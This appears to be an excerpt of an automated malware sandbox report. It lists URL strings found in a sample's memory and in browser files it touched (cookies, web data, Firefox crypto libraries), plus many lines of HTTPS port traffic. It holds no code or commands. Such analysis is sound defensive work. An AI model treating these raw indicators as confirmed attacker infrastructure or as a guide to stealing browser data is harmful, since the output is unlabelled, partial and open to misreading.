Source: chromecache_542.8.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_542.8.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_542.8.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://gaana.com/
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: EGCBAFCFIJJJECBGIIJK.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://m.kugou.com/
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://m.vk.com/
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.16.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.16.dr	String found in binary or memory: https://msn.comXIDv10
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://music.amazon.com
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://music.apple.com
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log7.15.dr, 2cc80dabc69f58b6_0.15.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log1.15.dr, 000003.log4.15.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log1.15.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.15.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 2cc80dabc69f58b6_1.15.dr, 000003.log1.15.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 000003.log1.15.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13377176075923531.15.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.15.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.15.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://open.spotify.com
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_542.8.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://srtb.msn.com/
Source: CAFBGHIDBGHJJKFHJDHCBKJDGC.0.dr	String found in binary or memory: https://support.mozilla.org
Source: CAFBGHIDBGHJJKFHJDHCBKJDGC.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: CAFBGHIDBGHJJKFHJDHCBKJDGC.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://tidal.com/
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.15.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.15.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.15.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://web.telegram.org/
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://web.whatsapp.com
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000000.00000002.2730742081.0000000023CF0000.00000004.00000020.00020000.00000000.sdmp, EGCBAFCFIJJJECBGIIJK.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2387136098.0000000023CA8000.00000004.00000020.00020000.00000000.sdmp, HDGIJJDG.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content.js.15.dr, content_new.js.15.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.2387136098.0000000023CA8000.00000004.00000020.00020000.00000000.sdmp, FBGHCGCA.0.dr, Web Data.15.dr, HDGIJJDG.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: d75ace9c-1325-45fd-96c4-d7d5b2b8c29d.tmp.16.dr, 76e21691-2031-4e4e-b8b7-2ef037ae2426.tmp.16.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_542.8.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_542.8.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_542.8.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://www.instagram.com
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://www.last.fm/
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://www.messenger.com
Source: CAFBGHIDBGHJJKFHJDHCBKJDGC.0.dr	String found in binary or memory: https://www.mozilla.org
Source: CAFBGHIDBGHJJKFHJDHCBKJDGC.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: CAFBGHIDBGHJJKFHJDHCBKJDGC.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: CAFBGHIDBGHJJKFHJDHCBKJDGC.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: CAFBGHIDBGHJJKFHJDHCBKJDGC.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://www.office.com
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: file.exe, 00000000.00000002.2730742081.0000000023CF0000.00000004.00000020.00020000.00000000.sdmp, EGCBAFCFIJJJECBGIIJK.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://www.tiktok.com/
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://www.youtube.com
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50155 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
